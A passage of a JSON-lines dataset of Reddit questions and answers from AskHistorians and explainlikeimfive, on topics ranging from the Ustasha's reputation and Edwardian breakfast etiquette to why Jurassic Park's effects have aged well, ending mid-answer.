{"q_id": "48laq1", "title": "Why are the Ustasha held in high regard by some Croatians today, despite being seemingly fascist and genocidal?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/48laq1/why_are_the_ustasha_held_in_high_regard_by_some/", "answers": {"a_id": ["d0kivai"], "score": [2], "text": ["Hi there!\n\nI think that question is really interesting (sine my area of study is WWII Yugoslavia), unfortunately, the way it is currently phrased it violates our [20 year rule](_URL_0_).\n\nI would very much encourage you to rephrase and repost, maybe something along the lines of \"How did the perception of the Ustasha change among Croatians after Croatia's independence in the early 1990s?\"\n\nThank you!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/wiki/rules#wiki_questions"]]}
{"q_id": "2b0rpw", "title": "is it true that elephants are scared of mice and if yes, why in the hell?", "selftext": "I don't get it. Why so specific? Or have I just watched too many Disney cartoons?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2b0rpw/eli5_is_it_true_that_elephants_are_scared_of_mice/", "answers": {"a_id": ["cj0nm7u"], "score": [2], "text": ["No, you just watched too many cartoons. Elephants don't care about mice."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2x2nyy", "title": "why does the un or the hague not charge the saudi royal family with humans rights violations for executing apostates?", "selftext": "Or at least use sanctions against it?\n\nThe same question applies to any non-nuclear, non-hermit states (i.e., besides North Korea) that use torture and executions that violate basic human rights.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2x2nyy/eli5_why_does_the_un_or_the_hague_not_charge_the/", "answers": {"a_id": ["cowd57h", "cowfi6g", "cowhca2", "cowi3qk"], "score": [15, 2, 2, 3], "text": ["Saudi arabia is a rather stable country in the middle east with large oil reserves - the UN would like to keep it that way", "Nobody fucks with anybody who has money, power and influence.", "Although I would love to see NK dismantled, the brute reality of the situation might be that the costs associated with successfully hunting down its leaders, \"rehabilitating\" its people and avoiding blowback are too high. \n\nRemember how quickly we overthrew Saddam's regime? We still spent years tracking down his family and supporters. \n\nRemember how the North Koreans wept for Kim Jong Il after he died? Sure, some of the mourners may have been acting to avoid punishment, but it's likely that many, if not most, of the population cannot distinguish propaganda from reality. Us deposing Kim Jong Un might be like killing their Christ, and their reaction to US troops, who they've been told are evil, blowing their leader's brains out may be unfavorable. \n\nLet's say you've crushed the NK military, how've you done it? You've probably used a lot of bombs and missiles and tried to limit the number of instances your troops have had to expose themselves to physical combat. Historically, our use of munitions causes a lot of civilian casualties. Historically, that eventually makes enemies of the people we were supposedly trying to help. This ends up meaning that you've simply substituted one, old enemy for another newer enemy. \n\nI think that policymakers have this is mind when deciding how to deal with NK. An invasion of NK could end up pointless and costly. The fact that NK doesn't have anything we really want or need probably factors into why we haven't invaded NK as well: invasion might be a financial black hole and there no obvious chance for recoupment. \n\nI believe we haven't done anything about Saudi Arabia , because, like Gyang193 said, it's relatively stable and provides us needed resources. Additionally, Saudi Arabia is one of the only Middle Eastern countries that doesn't like Russia and can bleed Russia (without Russia seeking retribution) by lowering the price of its oil (Russia top export is oil...second top is vodka). ", "The UN is not a government. It doesn't have soldiers or police.\n\nThe UN is a forum where governments meet to discuss world relations. Anyone could suggest sanctions against Saudi, and in fact plenty of people complain about Saudi at the UN. Saudi Arabia's human rights record was the subject of constant debate until recently when they became a member of the committee on human rights, and will be again when that appointment has passed.\n\nMore broadly, what you mean to ask is 'Why hasn't America done something about Saudi Arabia?' The answer, sadly, is Communism. During the cold war, America's primary concern was maintaining a power bloc. Since then, we haven't significantly reshuffled our alliances.\n\nMaybe we should. I'd like to think we don't need the Saudis anymore. But it's not the UN's job to make that decision for us."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3ng0je", "title": "On Downton Abbey, married women have breakfast in bed and unmarried women go downstairs and have it. Did this really happen in the early 1900s? Why?", "selftext": "I know from searching that this question has been asked before - but there wasn't an actual answer given  I think - so apologies if this isn't okay!\n\nI'm just curious about it - any input would be great ta!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3ng0je/on_downton_abbey_married_women_have_breakfast_in/", "answers": {"a_id": ["cvnre8h", "cvntek2", "cvntj74", "cvonaix"], "score": [340, 980, 299, 9], "text": ["Hello everyone, \n\nUnfortunately, we have already had to remove a number of poor quality responses in this thread, including many asking about the deleted comments, which merely compound the issue.\n\nIf you're here to answer the question, please make every effort to *answer the question*, not talk about the show, make jokes about baby-making time, or rail against moderators. \n\nAnd, before you attempt answer the question, keep in mind [our rules](_URL_2_) concerning in-depth and comprehensive responses. Answers that do not meet the standards we ask for will be removed. \n\nAdditionally, it is unfair to the OP to further derail this thread with off topic conversation, so if anyone has further questions or concerns, I would ask that they be directed to [modmail](_URL_1_), or a [META thread](_URL_0_[META]). \n\nThank you!", "The tricky thing about answering this question is that most etiquette books of the era are aimed at the middle classes - daughters of earls would grow up learning this sort of information at home and wouldn't care what Emily Post (or similar) thought about it. The entire point of the genre was to educate people (frequently but not always women) about the standards of middle or upper middle class life when they had not been born to it. Thus the etiquette books mainly discuss what to do at breakfast if invited to stay at another middle class house or when at a hotel.\n\nThe impression I have from the show is that this is a long-standing tradition at Downtown, so I started looking in the Victorian era. I did finally find [a British etiquette book](_URL_0_) of 1885 that says that in a country house, the hostess and host should make sure to eat breakfast with important guests at the family table, but with more intimate friends or relatives the hostess may eat in her room, by herself. I also found one 1905 (American) reference stating that if a family is rich enough, they theoretically could give every member a private breakfast, but this was in an article that was basically about how to deal with different temperaments and annoyances at breakfast, so I think it's more of an \"oh, yeah, in a perfect world *eyeroll*\" kind of thing.\n\nOn the whole, breakfast etiquette was for everyone to try to get down to the table at the same time out of politeness (since some hostesses would hold everybody until all guests were present), and in some cases it was not eaten directly after rising, but an hour or so later, so getting back in bed would make no sense. It seems likely to me that this was either an inaccuracy decided on for production/writing reasons, or perhaps Fellows spoke with someone who had worked at a country house (I know that at least for Gosford Park he interviewed people who had been in service) where this was an idiosyncratic tradition.", "I haven't seen much, if any of Downton Abbey I'm afraid, but given it's popularity I can imagine it being similar to a fair few estates in the North of England that I have studied, if not directly based on them.\n\nThe key thing here - and what I imagine the producers are trying to show - is that the Lady of the House has a 'Lady's Maid'.Unlike Gentlemen, who would normally receive a dedicated Valet when they were 'ready' rather than at a specific point, young women would only receive a dedicated maid upon marriage, the remuneration for whom would be down to her husband rather than father.\n\nThis maid would be responsible for things like sewing, helping dress the Lady, opening and closing windows, keeping the bedchamber neat and yes, bringing the lady breakfast in the morning. She was essentially the only person other than her husband who would see her before she was ready to leave her chambers.\n\nBy contrast unmarried women would generally not have their own maids (royalty excepted, of course), rather still having a nanny (particularly if they had younger siblings) or using the services of their favoured housemaid. Such a housemaid might bring an unmarried lady breakfast in bed, but it was not required, they had many other duties - check Mrs Beetons Book of Household Management (you can download it free online), IIRC there is a chapter 'Female Domestics' and a list of the duties within. It's pretty clear that the role was to look after the mistress first, and only when she is completely satisfied may the maid help her mistresses sisters or daughters.\n\nIn short, I imagine Downton Abbey is looking to show this position exists and exploits the breakfast scene as it would likely be the time the most conversation happened between Lady and her Maid (It was a pretty lonely job, most time would be spent alone in the chambers sewing and tidying). It wasn't so much a case of 'A married woman must not be seen having breakfast' but 'A married woman has a Lady's maid, why would she need to go down to breakfast?'.", "I happen to have a copy of Etiquette by Emily Post from 1945, updated from the 1922 edition, which would be about the time of the show. In a section titled \"country house and its hospitality\" she speaks about guest-room service:\n > \"In big houses, breakfast trays for the ladies are usually carried to the bedroom floor by the butler- some butlers delegate this service to a footman- and are handed to the lady's maid or else the housemaid, who takes the tray into the room. In small houses they are carried up by the waitress. \nTrays for men visitors are rare, but when ordered are carries up and into the room by the butler. If there are no menservants, the waitress carries up the tray.\nUnless breakfast is at a set time and everyone comes down promptly, the advantage of having one's guests choose breakfast upstairs is that no delayed breakfast prevents the dining room's being put in order or the lunch table set. Trays, on the other hand, can stand all morning \"all set\" in the pantry and interfere much less with the dining room work.\nEvery china store carries breakfast sets, of course, but only in \"open\" stock patterns can one buy extra dishes or replace broken ones- a fact that is well to remember. A set always comprises a coffee or teapot, a hot milk pitcher, a cream pitcher and sugar bowl, a cup and saucer, two plates, an egg cup and a covered dish. A cereal is usually put in the covered dish, toast in a napkin on a plate, or eggs and bacon in place of cereal. This with fruit is the most elaborate \"tray\" breakfast ever provided.\nWhen a guest rings for breakfast, the housemaid goes into the room, opens the blinds, and in cold weather lights the fire, if there is an open grate in the room.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/submit?selftext=true&amp;title=", "http://www.reddit.com/message/compose?to=%2Fr%2FAskHistorians&amp;subject=Question%20Regarding%20Rules", "http://www.reddit.com/r/AskHistorians/wiki/rules"], ["https://books.google.com/books?id=m4gIAAAAQAAJ&amp;pg=PA62"], [], []]}
{"q_id": "2ycz2q", "title": "Why was Narvik and Norway so important for iron ore shipment during WW2?", "selftext": "Couldn't the iron be transported to the Swedish coast by rail and then by boat to Germany? Why was it so much better to transport it through Narvik?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2ycz2q/why_was_narvik_and_norway_so_important_for_iron/", "answers": {"a_id": ["cp8e65o"], "score": [6], "text": ["They did. Swedish iron ore was being imported through shipping in the Baltic Sea, primarily through the port of Lulea. However, the Baltic suffers from freezing and dense ice during winter months. Narvik, conveniently located by rail to Swedish iron ore suppliers, and being on the Atlantic coast, was free to operate year round and in times when the safer Baltic routes were being forced to slow or halt completely. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "94rwc5", "title": "Wishing up on a shooting star appears to be a common myth shared among many cultures, but do we all share it and how old is it really? What is the oldest shared myth?", "selftext": "I saw one with a friend from Turkey and we noted that it was common in both of our cultures. Is this because it is one of the oldest shared myths, of a result of cross contamination between cultures in more recent times?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/94rwc5/wishing_up_on_a_shooting_star_appears_to_be_a/", "answers": {"a_id": ["e3nakgi"], "score": [5], "text": ["The [Folklore Thursday website](_URL_0_) recently picked up on this question. The site suggests a wide range of beliefs associated with meteors - which were seen in various culture in both positive and negative terms. This analysis suggests that there has been a modern inclination to see the positive side of a falling star and there is an implication that the international popularity of the 1940 Disney cartoon 'Pinocchio' may have spread the idea the one could 'wish upon a star', as its central song advocates. That sort of media-based diffusion of a belief and practice is not unknown; it seems a plausible explanation to me."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://folklorethursday.com/folklife/wishing-star-angels-normans-pinocchio/#sthash.3z8Yuq2u.dpbs"]]}
{"q_id": "st3p3", "title": "why rates and other animals chew and bite on wires", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/st3p3/eli5_why_rates_and_other_animals_chew_and_bite_on/", "answers": {"a_id": ["c4gqjij", "c4grci8"], "score": [2, 3], "text": ["If you mean rats, it's because their teeth actually never stop growing, so they need to chew in order to keep their teeth from becoming overgrown.", "Unlike the teeth of other mammals, the front incisors of rodents never stop growing, In fact, continuously growing front teeth is a trait shared by all rodents from the tiniest mouse to the largest capybara. By observing captive mice and rats who have nothing to gnaw upon, its been found that these incisors can grow up to five inches per year.\n\nSome have said it is the slight warmth given off by the conductor from the current flowing through it. Others say its the right size for them to chew on. Still others believe the mice like the 60 Hertz \"hum\" around the wire.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://askville.amazon.com/mice-chew-electrical-wires/AnswerViewer.do?requestId=8003348"]]}
{"q_id": "2v0f3n", "title": "how does jurrasic park, a 22 year old movie, have some of the best cg i've ever seen?", "selftext": "Is it that HD has made realistic CG more difficult?\n\nSorry if this has been asked before.\n\nEDIT:\n\nThank you everyone who has taken time to answer this! I recommend reading through the comments because there are some really insightful ones.\n\nTurns out practical effects played a much larger role than I initially thought. Also the fact that many of the scenes were shot in dark environments help because it eliminates multiple light sources.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2v0f3n/eli5_how_does_jurrasic_park_a_22_year_old_movie/", "answers": {"a_id": ["codbeyh", "codblij", "codc3x7", "codc6uq", "code3n9", "codftwi", "codgvq1", "codicg6", "codiovc", "codj75b", "codjis4", "codjwnx", "codk09v", "codk99c", "codkk7t", "codksst", "codld7g", "codliso", "codm4l0", "codmiur", "codmnzf", "codmt6s", "codn7vf", "codnn7c", "codnwn4", "codny2v", "codprar", "codpsul", "codpsvk", "codqb1u", "codqlfd", "codqmws", "codrfny", "cods0bn", "cods20b", "cods62p", "codsghh", "codtay8", "codthh5", "codtiie", "codts0u", "codu2qn", "codurt1", "coduu7g", "codv88w", "codvetw", "codvnrp", "codvsa7", "codw286", "codxvg5", "codxw1p", "codybkz", "codycbt", "codyelf", "codymad", "codys8y", "codyuxy", "codz3av", "codzbv2", "codzddf", "codzv0m", "codzvxs", "codzzym", "coe0ghn", "coe1ul8", "coe3c9l", "coe3wed"], "score": [3, 2355, 220, 3485, 5, 57, 43, 2, 6, 20, 6, 2, 236, 5, 2, 153, 18, 4, 13, 5, 2, 3, 18, 2, 3, 2, 2, 2, 2, 2, 7, 2, 2, 4, 7, 2, 94, 2, 2, 2, 2, 3, 2, 3, 4, 2, 2, 2, 2, 2, 3, 2, 2, 15, 2, 2, 3, 3, 2, 2, 2, 3, 2, 3, 2, 2, 2], "text": ["Because CGI has become so good that you probably rarely even notice it anymore. The \"best\" CGI would be indistinguishable from reality and you wouldn't even know you're looking at CGI anymore.", "It was asked before. The most important part it was not only cgi. Many things on screen wasn't really cgi, there was a lot of animatronics and people are forgetting that. ", "Most movies today have large green screen moments and you won't even know it. Jurassic park used cgi to complement the scene but movies today (guardians of the galaxy, Godzilla, transformers etc) are cgi with a couple of humans thrown in.\n\n\ntl;dr: Jurassic park didn't use cgi nearly as much as you think. Most of it was real.....", "It's all because Spielberg knows how to use VFX. He is very clever and made some smart choices in the filmmaking:\n\nHe shot in a flat ratio (1.85:1) instead of scope, which creates a larger vertical frame, thus making the effects seem more impressive to the eye.\n\nMost of the key CGI scenes (the T-Rex chase, the kids with the raptors) took place in dark and/or rainy environments. Believe it or not this helps make CGI more impressive, as your eyes are fooled more easily in low light.\n\nStop-motion animators, who were originally going to do the dinosaur effects before CGI was decided upon, created a DID (Dinosaur Input Device) so that they could translate their hand animations into computer animations. You had *legendary* stop-motion animators like Phil Tippet providing input for the CGI creations through the device, and the result was some very realistic movement and animation, which helped to sell CGI that much more. Nowadays we have CGI animators, but back then it was brand new tech, and the solution he came up with was novel and it worked brilliantly.\n\nAnd probably most important, he had arguably the best puppet designer (Stan Winston) that ever lived making the live-action dinosaur puppets, and he was committed to using both CGI and puppets seamlessly. His skill in matching the CGI shots to the puppet shots is probably what makes the dinosaurs so memorable, tactile, and indelible. \n\nTL;DR - It's because Spielberg made some excellent creative choices about the VFX, and it's why he's one of our greatest directors.\n\nEDIT: Thank you so much for the reddit gold, kind stranger! I'm glad everyone liked this post so much.", "The animation is what sold the CGI. It's not actually that great quality modelling. In a few scenes, particularly daytime scenes, you can tell that the texture quality is quite low, as are the shaders.\n\nAnd like others have said, the key to good CGI is mixing it with a lot of practical effects, and Jurassic park does a lot with animatronics.", "First thing I noticed when watching the BluRay versions (most noticeably in the Brachiosaur scene at the start), that the textures on the dinosaurs are really stretched and low resolution in places.\n\nYou can even see the Brach wobbling about on the floor due to bad scene tracking (with the limited tech at the time).\n\nIt's age definitely shows in the Blu Ray high def versions, but watch a dvd/vhs copy and it looks great again.\n\nAs someone else said, low level light (or at least low complexity in terms of light sources) made things a lot easier. This is why a lot of games like Splinter Cell and Rainbow Six looked so great on the original Xbox and PC back in the day, because of being based mostly in low complexity light environments (such as night scenes, or just interiors), you can keep the number of main light sources down to 1 or 2 main lights, with a filler light, and the scene looks more realistic than what the engine could typically handle.\n\nChaos Theory's opening lighthouse level shows this to great effect.", "Jurrassic Park was one of the first films to use modern day CGI and they were willing to put in the long hours and big budget to see it look natural.  See [this video](_URL_0_).  it was also used very sparingly so a lot of effort could be pumped into each scene.\n\nNew movies these days are made with such a large amount of CGI, the amount of detail in each scene is lost.  Combine this with tight deadlines, overworked artists, and admittedly sub-par expectations from directors and you get what we see today.\n\nSpielburg knew when to use CGI and when to use practical effects.  Dark scenes, non-reflective surfaces, and lower frame rate/clarity  also helped a lot compared to movies of today.", "watch terminator 2 again in HD.  You can clearly tell when it's computer and when it's plastic glued onto their shirts.", "Nostalgia.  Also the fact that we all seen dozens to hundreds of movies with CGI, we have subconsciously gotten better at recognizing real from fake.  They were also VERY constrained to what they could do therefore kept the amount of shots minimal/simple.  Nowadays, many directors get too excited by the possibilities of 3D they overdue it.", "Back then, CGI was a premium product.  A few animators were paid millions to do short scenes.\n\nTLC was bankrupted by their music video \"Waterfalls\" because the CGI was so expensive.\n\nNow, you have everybody and their mom graduating from Expression College.  The market is flooded, and since CGI is so commonplace in all movies, people think \"good enough\" and spend the other $600,000 getting the female lead to show her tits.", "Well, the most obvious thing would be... Its not cg. Back in the good old days, in the long long ago, folks made whole sets by hand, sank actual ships, and built dino robots to eat actors. Luckily actors were a dime a dozen then, if one almost dies you just grab another, slather him in aluminum paint and make him skip down the damn road.", "Really good props. Same reason Stars Wars original trilogy holds up better than Prequels. ", "_URL_0_\n\nVFX artist here.\n\nTo those making comments about the quality of the CG critters in this trailer \u2014 and to anyone who has ever wondered how it's possible for the original Jurassic Park to have had such awesome CG, while [insert some more-recent movie] didn't \u2014 those are both interesting observations, and here's the deal with both.\n\nFirst of all, it's important to remember that the further we are from releasing the movie, the further the VFX are from completion. Early trailers and commercials will always feature VFX that aren't \"done,\" because our target for delivery is like six months from now, and our team doesn't find out for sure which VFX shots they're going to need for the ad campaign until... hold on... juuuuuuust about the moment they need those shots right this fucking second oh my god.\n\nPapers get thrown, people run down hallways, it's a whole Broadcast News thing.\n\nSo, we take whatever work is done on one of those shots, save off a copy, and rush a quick alternate version to completion. Maybe the animation is final, but the comp isn't. Maybe nothing is final. Maybe everything is final, but later someone changes their mind and adds another thing to the shot. Whatevs. We give them Some Version of the shot \u2014 complete with, like, color and everything, it's super official \u2014 and they release the trailer, and we go back and keep workin' on it like we were already doin.' This is how you end up with comparison albums featuring, for instance, the difference between trailer and movie VFX for Guardians of the Galaxy. Happens all the time.\n\nAs for the more general complaint that I hear a lot \u2014 \"but, we were able to make everything photoreal in Jurassic Park in 1993, what gives?\" \u2014 there's a lot that gives. It's complicated.\n\nAside from utilizing a whole slew of fairly basic (albeit smart) tricks that make it easier to look photoreal, Jurassic Park also had a few things going for it, historically speaking.\n\nAs a thing to attempt doing, it was more or less unprecedented. Just a ton of work, a ton of question marks, unforeseen innovations were certain to be required, and custom scripts and software would have to be written. They knew what it had to look like, but they didn't know exactly how to get there. Their target was a look. They'd know it when they saw it.\n\nSo, they started hammering away at it. There wasn't even a solid optimism that it was possible to pull off so much CG, at that level of quality, at that point in time \u2014 much less an absolute goddamned foregone conclusion that obviously it's possible to do twenty times as much CG at that level of quality \u2014 and so they benefited, a bit, from the exploratory nature of it. As far as executives and producers and studios and expectations go, the attempt to make that first CG dinosaur movie was akin to Apollo 11. \"Oh god, I hope this is fucking possible.\"\n\nWhen it actually worked, it was an accomplishment.\n\nThat was the context for that CG work. These days, the context for the CG in, like, The Avengers, is akin to Southwest Flight 782, service from Oakland to Burbank. \"Oh god, I hope I'll be able to rent a red car when I obviously make it to Burbank.\"\n\nIt became \"obvious\" (to the higher-ups) that we could do CG VFX. The process got figured out, the pipelines established, the groundwork laid, the procedures sorted... and now, the process of arriving at the end of the VFX process is seen as the goal. First you do your story art, then you do your modeling, then you do your layout, then you do your animation and sims, then you do your comp, then you render out the result. \"That's how ya do it.\" Once the process is complete, your VFX are complete. Congratulations, let's move on to the next movie.\n\nThe problem \u2014 and distinction \u2014 is that, remember, Jurassic Park's goal was a look. They didn't know what the process would be, but they'd know it when they saw it. Now the goal is, largely, a process. Finish the process.\n\nAre we capable of delivering CG at the level of quality you see in Jurassic Park? Fucking absolutely. (And, \"duh,\" quite frankly. Most movies with big CG setpieces are actually at that level of quality.) When that doesn't happen, these days, it's because we're working under a very different set of limitations. For instance, way, way, way more shots, way more complex shots, way harder shots, an atmosphere of assumed possibility, a wee bit of studio apathy, less-and-less money, higher-and-higher rez, stereoscopic delivery... and, uh, not to put too fine a point on it... not much of a premium being placed on quality of life for the artists. (That's a whole separate thing.)\n\nIn addition to that, like I said a few paragraphs ago, Jurassic Park also (smartly) utilized a handful of tricks to make life easier. In CG, realistic shiny things are easier than realistic matte things, so they made the T-Rex wet. They did the T-Rex scene at night. They did a tremendous number of hand-offs between the CG Tippet critters and the practical Winston critters. Not to mention, there's way fewer CG shots in that movie than you're probably remembering, and on and on.\n\nSo. Yeah, it was twenty years ago, but they were also climbin' a different mountain.\n\nNow, it's important to note that Jurassic Park deserves every bit of the VFX credit it gets. (That Gallimimus sequence blows my mind.) It's outstanding work, it stands the test of time, it's great \u2014 I know I'm basically saying, \"yeah, good job with the fucking Coliseum, you guys, you scrappy group of rag-tag weirdos,\" but. I want to make sure it's clear that I'm not throwing shade at Jurassic Park. I love Jurassic Park.\n\nBut, for being a trip to the moon with nothing but a tin can and a calculator \u2014 sorry, I'm very analogy-heavy this morning \u2014 for being just this impossible thing, it also managed to avoid some of the pitfalls of the modern CG experience. Expectations, mostly. Different flavors of expectations, at different points along the line. Being the first to do a very hard thing well isn't easy. For that matter, neither is being the 6000th to do a very hard thing well, when people are totally unimpressed with the assumption that you can do a very hard thing well. Like \"come on, knock it out. We're on a schedule here.\"\n\nNot that they weren't on a schedule, but. You know what I mean. I've rambled on long enough.\n\ntl:dr \u2014 trailer VFX are often a work in progress, and Jurassic Park's CG was incredible, but arguably managed to benefit from \"pioneer\" culture, and set out to clear a bar much lower than we typically deal with these days\n", "Most of the really cool stuff was not cg, or only enhanced by CG. \n\nThe reason the movie aged so well is because it wasn't filmed entirely in front of a green screen like most movies are today. ", " >  Is it that HD has made realistic CG more difficult?\n\nHD video is actually much lower resolution than film, and the digital projectors filling theaters today haven't caught up to where 35mm film projectors were in 1990. So if anything, the switch would make it considerably easier. Projectors are 2K or 4K now, while 35mm film can contain as much detail as 6K video depending on stock.\n\nIn the future, people will look back and see a sharp dip in visual quality for the 2000s. This has already happened to some extent; early digital blockbusters like *Star Wars: The Phantom Menace* were shot at the resolution of a current iPhone/Galaxy screen, and one-quarter the resolution of a modern $600 TV. When 70\" 4K TVs are standard, movies like The Phantom Menace, Star Trek (2009), and Avatar are going to look really bad compared to 80s and 90s movies. ", "There's only 15 minutes of dinosaurs in the movie and only 6 minutes of that is CGI. There's a good chance what you think is amazing CGI is actually animatronics. The CGI is still very good though.", "CGI isn't about how realistic it can be, because it's still pretty much damn near impossible to create a flowing, functional human face that'll stand up to scrutiny -- it's just not time-practical or cost-effective.\n\nCGI is about where, and how you deploy it. You can have a crappy, blurry soldier that looks like he's coming from a late 90's computer game -- but if you put him way in the background of a battle, he'll look real as can be. Compare, say, The Hobbit to The Lord of the Rings trilogy. In the latter, the animators employed a mass-cloning tool to create the army of Uruk-Hai that besieges Helm's Deep. But, the frontlines of the army that you see are all real -- no computer generated imagery. So, regardless of how the backline would look if you could really pay attention, the front line is where the eye is drawn, and where it'll look good, thereby giving the illusion of an army ten-thousand men strong.\n\nOn the other hand, look at the final Hobbit film -- where every army is rendered in CG during the battle sequence. Instead of giving you any sort of illusion, it's plainly obvious that the front line is CG, causing your vision to drift to the back lines and notice the rest of it.\n\nTL;DR: CGI isn't necessarily about quality, it's about camouflaging it effectively in a real environment.", "Because [it was not only CGI](_URL_0_)\n\nThis is practicing with Compsognathus movements", "Son, Jurassic Park looked so cool because Mr. Spielberg really knew how to combine puppets and robots with computer graphic effects because he is a master storyteller, and you know the $10 bill I give you every week? Well, Mr. Spielberg paid many professional people millions of those $10 bills to make the movie be as cool as it could be. I love you, son.", "people always say this, and the truth is it doesn't. the cgi was used very well in the film, and it was conservative. they used cgi to complement practical, work with it, rather then replace it. that's why it looks good. \n\nbut whenever there is a fully 100% cgi dinosaur on screen in Jurassic park, it looks like garbage imo. people still say \"oh man its the best cgi ever, nothing tops it!\" but.. no, not really. it was the most impressive cgi when it came out, and nothing has topped that pure cinematic amazement, but if you are going to tell me that this\n\n _URL_2_\n\nhonestly looks more real than this \n\n_URL_0_\n\nthen you are just being crazy. i mean, look at that thing you can practically make out the polygons. yes its true that dawn is one of the best examples of cgi, but hey i always see people use the worst examples of cgi when saying how good Jurassic park looks, like the thing prequel.  \n\nso in conclusion, the cgi is actually way better now, its simply its overuse that makes it more noticeable when compared to the more conservative effects seen in Jurassic park.\n\nEDIT: i actually think a better example of old CGI that still looks good is the water snake from the abyss. that's probably because its easier to make an amorphous blob look more real than a complicated creature, but still i think this effect is unappreciated. i mean, it was the *real* game changer imo. i mean dont get me wrong its totally dated as well, but the people who made this went on to do terminator 2, and then on to do Jurassic park. Jurassic park was the perfection of the process, but the abyss was like the first time cgi actually looked real. \n\n_URL_1_", "\ni feel the same way about LOTR, where the hobbit just came out but some of the animation from LOTR is still much better than that of movies coming out this past year", "It doesn't. You just don't spend a lot of time picking apart CGI. So a combo of nostalgia, excellent production values, and puppets makes you feel this way. \n\nIf you watch the movie right now you can probably see the low quality lighting and surface / material aspects of the CGI that make the hallmark \"plastic\" look of early CGI.\n\nIt's just that no sane person would be thinking about that while watching a movie as timelessly entertaining as the original Jurassic Park. \n\nP.S. Read the books. Actually, read lots of stuff Michael Crichton wrote; and also watch the movie Andromeda Strain.", "One point that I have yet to see in this thread that I believe can add to the realism is that you have never seen a dinosaur move in person. Animals that are produced in cgi such as dogs are something we are accustomed to seeing and have cataloged in our mind how they move and look in the physical word. Seeing something recreated (dinos/dragons/etc) leave a little more for our imagination. ", "Fuckin' Puppets. Cg is cool but nothing beats good old fashion puppets. ", "It doesn't have the best CGI ever seen...When you look at some shots of the dinosaurs, you can see that the skin textures are of a much lower resolution than what is used today.\n\nCase in point: [this screenshot from the blu-ray of JP1](_URL_0_)\n\nNotice the wrinkles on the brachiosaur skin are actually pxelated.\n\nWhat IS good in *Jurassic Park* are the animation and practical effects.\n\nAs has been said already, many of the dinosaurs in the film are physical puppets.  Usually, when you only see part of a dinosaur, it's a practical effect.  If you see the whole thing, it's CGI.", "It wasn't CG. A lot of the stuff were real and some of the 'no way that was real' things weren't.", "Because Spielberg was ahead of his time when he created it ", "On topic, how does Final Fantasy VII have the best (or at least memorable) cinematics that I've ever seen in a game.", "i thought i was the only one who felt this way.  jurrasic park and terminator 2 make todays CGI look terrible!", "It's a mix of traditional effects and cgi.  And one of the masters of traditional effects too (I wanna say stan winston). \n\nNowadays, it's almost all cgi since it justifies the humungous expense and rising ticket costs.\n\nThe best I've seen recently are the Lord of the rings movies since they followed the same strategies", "There's very little CGI in Jurassic Park. Most of what you saw was animatronic dinosaurs.\n\n > There are only 15 minutes of actual dinosaur footage in the film: 9 minutes are Stan Winston's animatronics, 6 minutes of it is ILM's CGI.\n\n_URL_0_", "Are those characters... auto-erotica?", "Looks like an opinion disguised in a Question..", "A lot of what you thought was CGI, was actually models/puppets.  Eg. the T-Rex was a full sized model", "I would just like to add that Spielberg grounds the dinosaurs before featuring them as cgi (with exceptions, such as the first shot of the brachisaurs). The first thing we see of the T-Rex is an animatronic arm grabbing the fence. There's another nice shot where the animatronic torso is attacking the Lex and Tim car, then pulls outside of the shot and walks away from the car towards Grant as a cgi T-Rex. It's already established as solid, and while it's swapped out for a cgi rex off camera, we're still fooled.  We're also introduced to the raptors with real puppeteering and costumes prior to any of their cgi shots.", "It's a mixture of CGI and real effects. The dino you see up close is a sophisticated puppet. CGI was not overused, which is what makes JP such a great movie.", "Nobody?  Really?  Fine, I'll say it. \n\nIt's because they spared no expense. ", "Still blows my mind that the raptors werent CGI, they were a costume... A very damn nice costume.   _URL_0_", "Practical effects. Most older movies and TV shows that still look really good didn't use a lot of CGI they relied upon special effects artist that were really good at making things come to life without computers.", "Because you need to see more movies. Jurassic Park's CGI has aged better than the average big blockbuster movie but it's still very evident where the CGI is. A common problem is that people confuse the animatronics for CGI. Big mistake. ", "because it was cg backed up by the best dino animatronics and prosthetics that you've ever seen?\n\nThat TREX was LIFE SIZE.  check the behind the scenes.\n\nStan Winston studios.  without him, Spielberg would have been making a crummy poor fx movie.", "Jurassic Park was really 15% CGI and 85% practical effects. The trick is that they used the practical effects like all of the close-ups of the dinosaurs to convince you of the reality of the creature and so that when you saw the wide, full body shot of the dino you already are convinced that its real. Does that make sense?", "There's a absolutely fascinating special feature called [\"Jurassic Park Before and After Visual Effects\"](_URL_0_) which details their CG components workflow.  As OP said, the CG, especially for the time is remarkable.  \n@1:37 in that video, at no point in time, even while rewatching that scene on Blu-ray now did I ever think for even a second that the car the T-Rex is stomping on was also CG.  It's that good.", "this may have been said already, but a lot of the parts you thought were CGI were probably large puppets. Also i think jurassic park only has around 15 minutes of actual dinosaur footage. i saw a you tube video about the making of the movie, it was very interesting. i would try to find it if you have the time. ", "It was amazing because it was real. Jurassic Park is just a few miles away from the Galapagos Island.", "I don't think many of the things people think are CGI really are. They're just models which utilize computers to make look natural. I think I watched a couple behind the scenes shows and saw this.\n\nI also think this is how Neil Bloomkamp makes his CGI look so good too.", "Jurassic Park is a CGI trendsetter.\n\nNot for the dinosaurs. Or the animation. Or the environments. Not even for the silly operating system.\n\nNo, Jurassic Park created the CGI concept of pasting a real actor's face on a stuntman. And for that, and that moment alone (Wherein Alexis gets pulled out of the ductwork) it is amazing in the 